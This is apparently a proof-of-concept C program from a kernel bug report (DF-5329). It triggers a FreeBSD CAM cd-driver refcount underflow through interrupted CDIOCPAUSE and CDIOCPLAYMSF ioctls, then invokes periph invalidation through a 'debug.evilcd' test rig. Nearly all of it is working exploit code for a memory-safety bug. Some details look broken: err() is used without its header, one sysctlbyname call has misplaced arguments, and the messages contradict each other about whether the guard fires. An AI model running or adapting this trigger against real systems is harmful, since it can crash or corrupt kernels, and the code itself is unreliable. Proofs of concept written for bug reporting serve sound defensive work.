DF-5329 / poc_guard.c
/* DF-5329 trigger: drive the cd periph refcount negative using the * (already-known, DF-5273) cdioctl burn, then invoke * cam_periph_invalidate() on the underflowed periph and show the * "refcount < 0!!" guard at cam_periph.c:576 NEVER fires (it compares * u_int32_t < 0). This PoC shares the DF-5273 rig unchanged. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/cdio.h> #include <sys/sysctl.h> #include <sys/time.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <errno.h> static int fd; static int refcnt(void) { int v = -1; size_t l = sizeof(v); sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0); return (v); } static void unstall(void) { int v = 1; size_t l = sizeof(v); sysctlbyname("debug.evilcd.unstall", &v, NULL, &l, sizeof(int)); } static void sigh(int sig) { (void)sig; } int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/cd1"; int i, burns = 3; fd = open(dev, O_RDONLY); if (fd < 0) err(1, "open %s", dev); printf("[poc] initial cd periph refcount: %d\n", refcnt()); signal(SIGALRM, sigh); siginterrupt(SIGALRM, 1); for (i = 0; i < burns; i++) { struct ioc_play_msf msf = { 0, 2, 0, 0, 3, 0 }; pid_t pid; int st; /* holder child keeps CAM_PERIPH_LOCKED via a stalled PAUSE */ pid = fork(); if (pid == 0) { ioctl(fd, CDIOCPAUSE); unstall(); _exit(0); } usleep(300 * 1000); alarm(1); ioctl(fd, CDIOCPLAYMSF, &msf); alarm(0); wait(&st); printf("[poc] burn %d: ioctl rc=-1 errno=%d(%s) refcount=%d\n", i, errno, strerror(errno), refcnt()); } printf("[poc] final refcount: %d (negative, unsigned-wrapped; " "guard at cam_periph.c:576 must fire on invalidate -- watch dmesg)\n", refcnt()); /* invoke cam_periph_invalidate() on the underflowed periph */ { int v = 1; size_t l = sizeof(v); sysctlbyname("debug.evilcd.invalidate", NULL, NULL, &v, l); } sleep(1); printf("[poc] invalidate done; grep dmesg for 'refcount < 0' " "(expect ZERO hits on vulnerable kernel)\n"); return (0); } |